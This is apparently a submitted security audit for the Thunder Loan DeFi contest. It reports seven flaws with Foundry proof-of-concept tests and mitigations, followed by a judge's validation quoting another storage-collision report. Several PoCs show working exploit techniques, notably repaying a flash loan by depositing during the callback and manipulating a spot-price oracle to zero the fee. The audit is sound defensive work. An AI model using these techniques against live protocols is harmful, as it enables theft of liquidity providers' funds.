Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Thunder Loan — Smart Contract Security Audit

Scope: All in‑scope contracts as defined in the contest scope (commit e8ce05f5530ca965165d41547b289604f873fdf6), including the upgrade from ThunderLoan to ThunderLoanUpgraded.

All findings are reproduced by the PoC test suite in test/audit/ThunderLoanAuditPoC.t.sol (run with forge test --match-path test/audit/ThunderLoanAuditPoC.t.sol -vv).


Summary

# Severity Title File
1 High Storage‑layout collision breaks the upgrade ThunderLoanUpgraded.sol
2 High Flash loan "repaid" by depositing during the callback → free loan + LP insolvency ThunderLoan.sol / ThunderLoanUpgraded.sol
3 High Spot‑price oracle manipulable → flash‑loan fee can be driven to near zero OracleUpgradeable.sol
4 High deposit() inflates exchange rate with notional fee → v1 pool becomes insolvent ThunderLoan.sol (v1)
5 Medium Fee computed in WETH units but charged in the borrowed token ThunderLoan.sol
6 Medium Removing an allowed token strands LP funds; re‑adding resets the pool ThunderLoan.sol
7 Medium Zero‑fee flash loans revert due to rounding and updateExchangeRate logic AssetToken.sol

Finding 1 — High: Storage‑layout collision breaks the upgrade

Description

Normal behaviour: The proxy upgrade mechanism expects the new implementation to have the same storage layout as the old one. If a state variable is removed or reordered, the proxy will interpret existing storage slots incorrectly, corrupting critical protocol parameters.

Issue: In ThunderLoanUpgraded, the state variable s_feePrecision from v1 is replaced with a public constant FEE_PRECISION. Constants do not occupy storage, so every subsequent variable shifts down by one slot. After the upgrade, s_flashLoanFee reads the old s_feePrecision slot, which holds 1e18 (100 %), instead of the intended 3e15 (0.3 %).

// ThunderLoanUpgraded.sol (simplified)
mapping(IERC20 => AssetToken) public s_tokenToAssetToken; // slot 202 (unchanged)
> uint256 private s_flashLoanFee; // slot 203: now reads old s_feePrecision = 1e18
uint256 public constant FEE_PRECISION = 1e18; // no storage
mapping(IERC20 token => bool) private s_currentlyFlashLoaning; // slot 204 (old s_flashLoanFee was at 203)

Risk

Likelihood:

  • Certain – the upgrade is planned and will be executed as written. Occurs immediately after the upgrade transaction.

  • The fee cannot be repaired via initialize() because the proxy is already initialized; only a manual owner call to updateFlashLoanFee can fix it.

Impact:

  • Every flash loan after the upgrade requires repayment of amount + 100% (i.e., double the loan), making the protocol functionally unusable until the owner intervenes.

  • The fee engine is broken; LPs receive zero yield because no borrower will pay a 100% fee.

  • The storage layout corruption persists (no gap), threatening future upgrades.

Proof of Concept

Explainer: The test deploys a proxy with the v1 implementation, records the fee (0.3%), upgrades to v2, and observes that the fee becomes 1e18 (100%). It also shows that getCalculatedFee for a 10e18 loan returns 10e18 (the fee equals the entire loan amount).

// test01_UpgradeStorageLayoutCollision
function test01_UpgradeStorageLayoutCollision() public {
MockPoolFactory factory = new MockPoolFactory();
factory.createPool(address(tokenA));
_deployOld(address(factory));
tl.setAllowedToken(tokenA, true);
assertEq(tl.getFee(), 3e15, "pre-upgrade fee should be 0.3%");
// Owner upgrades the proxy to ThunderLoanUpgraded
ThunderLoan(address(proxy)).upgradeTo(address(new ThunderLoanUpgraded()));
// s_flashLoanFee now reads the OLD s_feePrecision slot (= 1e18 => 100%)
assertEq(tl.getFee(), 1e18, "post-upgrade fee should have been 0.3% but is 100%");
// A 10e18 flash loan now charges 10e18 (the whole loan value)
uint256 fee = tl.getCalculatedFee(tokenA, 10e18);
assertEq(fee, 10e18, "flash loan fee equals the entire loan value after upgrade");
}

Recommended Mitigation

Preserve the storage layout by keeping a placeholder for the removed variable, and add a gap.

contract ThunderLoanUpgraded is ... {
mapping(IERC20 => AssetToken) public s_tokenToAssetToken;
+ // placeholder to keep s_flashLoanFee at its original slot
+ uint256 private s_legacyFeePrecision;
uint256 private s_flashLoanFee;
mapping(IERC20 token => bool) private s_currentlyFlashLoaning;
uint256 public constant FEE_PRECISION = 1e18;
+ uint256[50] private __gap;
}

Finding 2 — High: Flash loan "repaid" by depositing in the callback → free loan + LP insolvency

Description

Normal behaviour: Flash loans must be repaid (principal + fee) before the transaction ends, verified by checking the pool’s balance after the callback.

Issue: deposit() and redeem() are not blocked during a flash loan. A malicious receiver can, inside executeOperation, call deposit(token, amount + fee) instead of repaying. This increases the pool balance enough to pass the balance check, while the attacker receives new AssetToken shares. After the loan ends, they redeem those shares, effectively stealing the loan principal.

// ThunderLoan.sol (both versions)
function flashloan(...) external {
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(abi.encodeWithSignature("executeOperation(...)")); // callback
> uint256 endingBalance = token.balanceOf(address(assetToken));
> if (endingBalance < startingBalance + fee) revert; // no debt tracking
s_currentlyFlashLoaning[token] = false;
}

Risk

Likelihood:

  • High – any user can call flashloan with a malicious receiver; deposit is permissionless. Occurs whenever an attacker controls the receiver and deposits during the callback.

  • Both v1 and v2 are vulnerable, as proven by test02a and test02b.

Impact:

  • The attacker keeps the entire flash‑loan principal for free.

  • The pool’s asset backing is reduced while the share supply remains unchanged, making all LPs insolvent (the last LP cannot withdraw).

  • Attack can be repeated until the pool is drained.

Proof of Concept

Explainer: LP deposits 100e18. Attacker takes a 10e18 flash loan. In the callback, the receiver calls deposit(10e18 + fee), never repay. The balance check passes because the deposit added exactly the required amount. After the loan ends, the attacker redeems the freshly minted shares. The LP’s full redeem later reverts because the pool is insolvent. The test is run against both the old and upgraded contracts.

// test02a_DepositDuringFlashLoan_OldContract / test02b_DepositDuringFlashLoan_UpgradedContract
function _runDepositDuringFlashLoanAttack(bool isOld) internal {
// ... setup ...
uint256 amount = 10e18;
uint256 fee = tl.getCalculatedFee(tokenA, amount);
// Attacker deploys receiver prefunded with fee tokens
DepositInFlashLoanReceiver receiver = new DepositInFlashLoanReceiver(address(tl));
tokenA.mint(address(receiver), fee);
// Attacker flash loan "repaid" by depositing during the callback
vm.prank(attacker);
tl.flashloan(address(receiver), tokenA, amount, "");
// Attacker redeems the freshly minted asset tokens afterwards
vm.prank(attacker);
receiver.redeemAll();
uint256 attackerGain = tokenA.balanceOf(address(receiver)) - fee;
assertGe(attackerGain, amount - 1, "attacker extracted ~the flash loan amount for free");
// LP can no longer withdraw its full deposit
AssetToken asset = tl.getAssetFromToken(tokenA);
uint256 lpClaim = (asset.balanceOf(lp) * asset.getExchangeRate()) / asset.EXCHANGE_RATE_PRECISION();
uint256 poolBalance = tokenA.balanceOf(address(asset));
assertGt(lpClaim, poolBalance, "LP claim exceeds pool balance (insolvent)");
vm.prank(lp);
vm.expectRevert();
tl.redeem(tokenA, type(uint256).max);
}

Recommended Mitigation

Block deposit/redeem while a flash loan is in flight, and/or track explicit debt per loan.

+ modifier notCurrentlyFlashLoaning(IERC20 token) {
+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan__CurrentlyFlashLoaning();
+ _;
+ }
function deposit(IERC20 token, uint256 amount)
external
revertIfZero(amount)
revertIfNotAllowedToken(token)
+ notCurrentlyFlashLoaning(token)
{ ... }
function redeem(IERC20 token, uint256 amountOfAssetToken)
external
revertIfZero(amountOfAssetToken)
revertIfNotAllowedToken(token)
+ notCurrentlyFlashLoaning(token)
{ ... }

Finding 3 — High: Spot‑price oracle manipulable → flash‑loan fee can be driven to near zero

Description

Normal behaviour: The flash‑loan fee is derived from the token’s price in WETH using an oracle.

Issue: The oracle reads a single spot price from the TSwap pool. An attacker can swap a large amount against the pool in the same transaction to temporarily crash the price, making the quoted fee arbitrarily small (even zero, combined with rounding).

// OracleUpgradeable.sol
function getPriceInWeth(address token) public view returns (uint256) {
address swapPool = IPoolFactory(s_poolFactory).getPool(token);
> return ITSwapPool(swapPool).getPriceOfOnePoolTokenInWeth(); // spot price
}

Risk

Likelihood:

  • High – manipulation is atomic, cheap, and repeatable. Occurs whenever an attacker has sufficient tokens to move the pool price (can be obtained via a flash swap or the protocol’s own flash loan).

  • The attacker can also combine with the zero‑fee revert (M‑03) to DoS the protocol.

Impact:

  • LP yield (the protocol’s core value) can be zeroed at will.

  • The protocol’s fee revenue becomes unpredictable and manipulable.

Proof of Concept

Explainer: A pool has 100e18 tokenA and 100e18 WETH. Attacker swaps 900e18 tokenA into the pool, driving the price down >50×. Before manipulation, the fee for a 10e18 loan is 0.3%; after, it is reduced by more than 50×. The test also shows the flash loan executes, but the LP exchange rate increase is >50× less than intended.

// test04_OracleSpotPriceManipulation
function test04_OracleSpotPriceManipulation() public {
// ... setup pool with 100e18 tokenA and 100e18 WETH ...
uint256 normalFee = tl.getCalculatedFee(tokenA, 10e18);
// Attacker swaps 900e18 tokenA to WETH
tokenA.mint(attacker, 900e18);
vm.startPrank(attacker);
tokenA.approve(poolA, 900e18);
MockManipulablePool(poolA).swapTokenForWeth(900e18);
vm.stopPrank();
uint256 manipulatedFee = tl.getCalculatedFee(tokenA, 10e18);
assertLt(manipulatedFee, normalFee / 50, "fee collapses by >50x");
// Flash loan executes, but LP yield is destroyed
// ... assert LP rate increase is < 1/50 of expected
}

Recommended Mitigation

Use a TWAP oracle, add a minimum fee floor, and bound the price.

function getPriceInWeth(address token) public view returns (uint256) {
- return ITSwapPool(swapPool).getPriceOfOnePoolTokenInWeth();
+ return ITWAPOracle(twapOracles[token]).consult(token, 30 minutes);
}

Finding 4 — High: deposit() inflates exchange rate with notional fee → v1 pool becomes insolvent

Description

Normal behaviour: Deposits should not affect the exchange rate; only fees earned from flash loans should increase it.

Issue: In v1, deposit() calculates a notional fee on the deposit amount and immediately calls updateExchangeRate(calculatedFee) – before the tokens are even transferred. This artificially inflates the exchange rate without any real assets, creating a deficit between the pool balance and total liabilities. The deficit grows with each deposit, eventually making full withdrawals impossible.

// ThunderLoan.sol (v1)
function deposit(IERC20 token, uint256 amount) external {
// ...
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
assetToken.mint(msg.sender, mintAmount);
> uint256 calculatedFee = getCalculatedFee(token, amount); // notional
> assetToken.updateExchangeRate(calculatedFee); // inflates rate
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood:

  • Certain – the v1 code is the currently deployed implementation. Occurs on every deposit.

  • v2 fixes this, but v1 is live until upgrade.

Impact:

  • The exchange rate grows faster than the asset balance, causing undercollateralisation.

  • LPs who redeem late will find the pool unable to honour their full claim – the last withdrawal reverts.

  • Manipulated oracle prices (H‑01) amplify the inflation.

Proof of Concept

Explainer: A single deposit of 100e18 tokens into an empty v1 pool should keep the exchange rate at 1. Instead, the notional fee bumps it to 1.003. The LP’s claim now exceeds the pool balance, and a full redeem reverts.

// test03_DepositInflatesExchangeRate_Old
function test03_DepositInflatesExchangeRate_Old() public {
// ... deploy v1 ...
_allowAndDeposit(100e18);
AssetToken asset = tl.getAssetFromToken(tokenA);
uint256 rate = asset.getExchangeRate();
assertGt(rate, 1e18, "deposit alone must NOT increase the exchange rate");
// The LP cannot withdraw its full deposit
vm.prank(lp);
vm.expectRevert();
tl.redeem(tokenA, type(uint256).max);
assertEq(tokenA.balanceOf(lp), 0, "full redeem must revert; funds stuck");
}

Recommended Mitigation

Remove the notional fee bump in deposit (exactly as v2 does).

function deposit(IERC20 token, uint256 amount) external {
// ...
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Finding 5 — Medium: Fee computed in WETH units but charged in the borrowed token

Description

Normal behaviour: The fee should be a percentage of the loan value, charged in the same token as the loan.

Issue: getCalculatedFee computes the fee in WETH units and returns that value directly, without converting back to the borrowed token’s units. Only tokens priced at exactly 1 WETH are charged correctly. For tokens below 1 WETH, the fee is too low; for tokens above, it is too high.

// ThunderLoan.sol
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256) {
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / FEE_PRECISION;
> return (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION; // still in WETH units
}

Risk

Likelihood:

  • Certain – occurs for every flash loan on any token whose price is not exactly 1 WETH. USDC/USDT, for example, are far below 1 WETH on mainnet.

  • This is a systematic mispricing.

Impact:

  • LPs are underpaid for most tokens, breaking the yield model.

  • Borrowers on expensive tokens are overcharged.

  • The protocol’s fee schedule is inconsistent across assets.

Proof of Concept

Explainer: TokenB is priced at 0.5 WETH. For a 100e18 loan, the contract charges a fee of (expectedFee * 0.5), i.e., half of the intended 0.3%. The test asserts this undercharge.

// test05_FeeIsWrongDenomination
function test05_FeeIsWrongDenomination() public {
// tokenB priced at 0.5 WETH per token
// ... deploy and fund ...
uint256 amount = 100e18;
uint256 feeCharged = tl.getCalculatedFee(tokenB, amount);
uint256 expectedFee = (amount * tl.getFee()) / 1e18; // 0.3% of loan, in token units
// Bug: fee = amount * price * feeRate is in WETH; it's added to the token repayment without dividing by price.
assertEq(feeCharged, (expectedFee * 5e17) / 1e18, "fee is a WETH-denominated number added to a token repayment");
assertLt(feeCharged, expectedFee, "for a token worth <1 WETH, LPs are underpaid");
}

Recommended Mitigation

Convert the WETH fee back to the token’s units.

function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256) {
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / FEE_PRECISION;
uint256 feeInWeth = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
+ uint256 fee = (feeInWeth * FEE_PRECISION) / getPriceInWeth(address(token));
+ return fee;
}

Finding 6 — Medium: Removing an allowed token strands LP funds; re‑adding resets the pool

Description

Normal behaviour: The owner can add or remove allowed tokens. When removed, LPs should still be able to withdraw.

Issue: redeem is guarded by revertIfNotAllowedToken, which deletes the mapping entry on removal. After delisting, LPs can never redeem. Re‑adding the token deploys a new AssetToken with zero balance and exchange rate 1, orphaning the old pool with all its funds forever.

// ThunderLoan.sol
function setAllowedToken(IERC20 token, bool allowed) external onlyOwner {
if (allowed) { /* create new AssetToken */ }
else {
> delete s_tokenToAssetToken[token]; // mapping entry removed, but contract still holds funds
}
}

Risk

Likelihood:

  • Requires an owner action (delisting is a legitimate maintenance operation). Occurs if the owner ever removes a token.

  • Could also be a griefing vector if the owner is malicious.

Impact:

  • Permanent loss of all LP principal in the delisted pool.

  • The owner can wipe historical rates by re‑listing, silently changing economics.

Proof of Concept

Explainer: LP deposits 100e18. Owner delists token → LP cannot redeem. Owner re‑lists → new AssetToken with zero balance; old pool’s funds are stranded. The test shows the old AssetToken still holds the balance but is inaccessible.

// test06_RemovingTokenStrandsLpFunds
function test06_RemovingTokenStrandsLpFunds() public {
// ... deploy and deposit 100e18 ...
AssetToken oldAsset = tl.getAssetFromToken(tokenA);
// Owner removes the token
tl.setAllowedToken(tokenA, false);
// LP can no longer redeem
vm.prank(lp);
vm.expectRevert();
tl.redeem(tokenA, type(uint256).max);
// Owner re-adds: brand new AssetToken, old one keeps the funds forever
tl.setAllowedToken(tokenA, true);
AssetToken newAsset = tl.getAssetFromToken(tokenA);
assertTrue(address(newAsset) != address(oldAsset));
assertEq(tokenA.balanceOf(address(oldAsset)), DEPOSIT, "LP funds stranded in the old asset token");
assertEq(tokenA.balanceOf(address(newAsset)), 0);
}

Recommended Mitigation

Only allow delisting if the pool is empty, or decouple redeem access from the allowlist.

function setAllowedToken(IERC20 token, bool allowed) external onlyOwner {
if (allowed) { ... }
else {
+ AssetToken assetToken = s_tokenToAssetToken[token];
+ require(assetToken.totalSupply() == 0, "Pool not empty");
delete s_tokenToAssetToken[token];
}
}

Finding 7 — Medium: Zero‑fee flash loans revert due to rounding and updateExchangeRate logic

Description

Normal behaviour: Flash loans should execute even for very small amounts, and the exchange rate should only update when there is a positive increase.

Issue: updateExchangeRate reverts when fee == 0 (or if the rate does not increase). Due to integer division rounding, any loan with a quoted fee of 0 wei triggers a revert. This can be caused by dust‑sized loans or by oracle manipulation (H‑01). On v1, deposits also call this function, so deposits can be bricked.

// AssetToken.sol
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();
> if (newExchangeRate <= s_exchangeRate) revert AssetToken__ExhangeRateCanOnlyIncrease(...);
s_exchangeRate = newExchangeRate;
}

Risk

Likelihood:

  • Easy to trigger – any dust loan (e.g., 100 wei) or oracle manipulation makes fee 0. Occurs whenever the calculated fee rounds to zero.

  • The attacker can also force this to DoS the protocol (combined with H‑01).

Impact:

  • Flash loans become unavailable for small amounts or when price is manipulated.

  • v1 deposits can also be DoS’d, trapping LPs.

  • Overall availability of the protocol is compromised.

Proof of Concept

Explainer: After funding a pool, an attacker requests a flash loan of 100 wei. The fee calculation yields 0. updateExchangeRate(0) is called and reverts because newExchangeRate == s_exchangeRate. The transaction fails.

// test05b_SmallLoanRoundsFeeToZeroAndReverts
function test05b_SmallLoanRoundsFeeToZeroAndReverts() public {
// ... deploy and fund ...
// amount = 100 wei => fee rounds to 0 => updateExchangeRate(0) reverts
vm.prank(attacker);
MockFlashLoanReceiver receiver = new MockFlashLoanReceiver(address(tl));
tokenA.mint(address(receiver), 1e18);
vm.prank(attacker);
vm.expectRevert();
tl.flashloan(address(receiver), tokenA, 100, "");
}

Recommended Mitigation

Allow zero‑fee updates as a no‑op, but still prevent free loans by enforcing a minimum fee in flashloan.

function updateExchangeRate(uint256 fee) external onlyThunderLoan {
+ if (fee == 0) return; // no‑op
// ... existing logic, but ensure newExchangeRate > s_exchangeRate
require(newExchangeRate > s_exchangeRate, "Must increase");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Storage Collision during upgrade

## Description The thunderloanupgrade.sol storage layout is not compatible with the storage layout of thunderloan.sol which will cause storage collision and mismatch of variable to different data. ## Vulnerability Details Thunderloan.sol at slot 1,2 and 3 holds s_feePrecision, s_flashLoanFee and s_currentlyFlashLoaning, respectively, but the ThunderLoanUpgraded at slot 1 and 2 holds s_flashLoanFee, s_currentlyFlashLoaning respectively. the s_feePrecision from the thunderloan.sol was changed to a constant variable which will no longer be assessed from the state variable. This will cause the location at which the upgraded version will be pointing to for some significant state variables like s_flashLoanFee to be wrong because s_flashLoanFee is now pointing to the slot of the s_feePrecision in the thunderloan.sol and when this fee is used to compute the fee for flashloan it will return a fee amount greater than the intention of the developer. s_currentlyFlashLoaning might not really be affected as it is back to default when a flashloan is completed but still to be noted that the value at that slot can be cleared to be on a safer side. ## Impact 1. Fee is miscalculated for flashloan 1. users pay same amount of what they borrowed as fee ## POC 2 ``` function testFlashLoanAfterUpgrade() public setAllowedToken hasDeposits { //upgrade thunderloan upgradeThunderloan(); uint256 amountToBorrow = AMOUNT * 10; console.log("amount flashloaned", amountToBorrow); uint256 calculatedFee = thunderLoan.getCalculatedFee( tokenA, amountToBorrow ); AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA); vm.startPrank(user); tokenA.mint(address(mockFlashLoanReceiver), amountToBorrow); thunderLoan.flashloan( address(mockFlashLoanReceiver), tokenA, amountToBorrow, "" ); vm.stopPrank(); console.log("feepaid", calculatedFee); assertEq(amountToBorrow, calculatedFee); } ``` Add the code above to thunderloantest.t.sol and run `forge test --mt testFlashLoanAfterUpgrade -vv` to test for the second poc ## Recommendations The team should should make sure the the fee is pointing to the correct location as intended by the developer: a suggestion recommendation is for the team to get the feeValue from the previous implementation, clear the values that will not be needed again and after upgrade reset the fee back to its previous value from the implementation. ##POC for recommendation ``` // function upgradeThunderloanFixed() internal { thunderLoanUpgraded = new ThunderLoanUpgraded(); //getting the current fee; uint fee = thunderLoan.getFee(); // clear the fee as thunderLoan.updateFlashLoanFee(0); // upgrade to the new implementation thunderLoan.upgradeTo(address(thunderLoanUpgraded)); //wrapped the abi thunderLoanUpgraded = ThunderLoanUpgraded(address(proxy)); // set the fee back to the correct value thunderLoanUpgraded.updateFlashLoanFee(fee); } function testSlotValuesFixedfterUpgrade() public setAllowedToken { AssetToken asset = thunderLoan.getAssetFromToken(tokenA); uint precision = thunderLoan.getFeePrecision(); uint fee = thunderLoan.getFee(); bool isflanshloaning = thunderLoan.isCurrentlyFlashLoaning(tokenA); /// 4 slots before upgrade console.log("????SLOTS VALUE BEFORE UPGRADE????"); console.log("slot 0 for s_tokenToAssetToken =>", address(asset)); console.log("slot 1 for s_feePrecision =>", precision); console.log("slot 2 for s_flashLoanFee =>", fee); console.log("slot 3 for s_currentlyFlashLoaning =>", isflanshloaning); //upgrade function upgradeThunderloanFixed(); //// after upgrade they are only 3 valid slot left because precision is now set to constant AssetToken assetUpgrade = thunderLoan.getAssetFromToken(tokenA); uint feeUpgrade = thunderLoan.getFee(); bool isflanshloaningUpgrade = thunderLoan.isCurrentlyFlashLoaning( tokenA ); console.log("????SLOTS VALUE After UPGRADE????"); console.log("slot 0 for s_tokenToAssetToken =>", address(assetUpgrade)); console.log("slot 1 for s_flashLoanFee =>", feeUpgrade); console.log( "slot 2 for s_currentlyFlashLoaning =>", isflanshloaningUpgrade ); assertEq(address(asset), address(assetUpgrade)); //asserting precision value before upgrade to be what fee takes after upgrades assertEq(fee, feeUpgrade); // #POC assertEq(isflanshloaning, isflanshloaningUpgrade); } ``` Add the code above to thunderloantest.t.sol and run with `forge test --mt testSlotValuesFixedfterUpgrade -vv`. it can also be tested with `testFlashLoanAfterUpgrade function` and see the fee properly calculated for flashloan

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!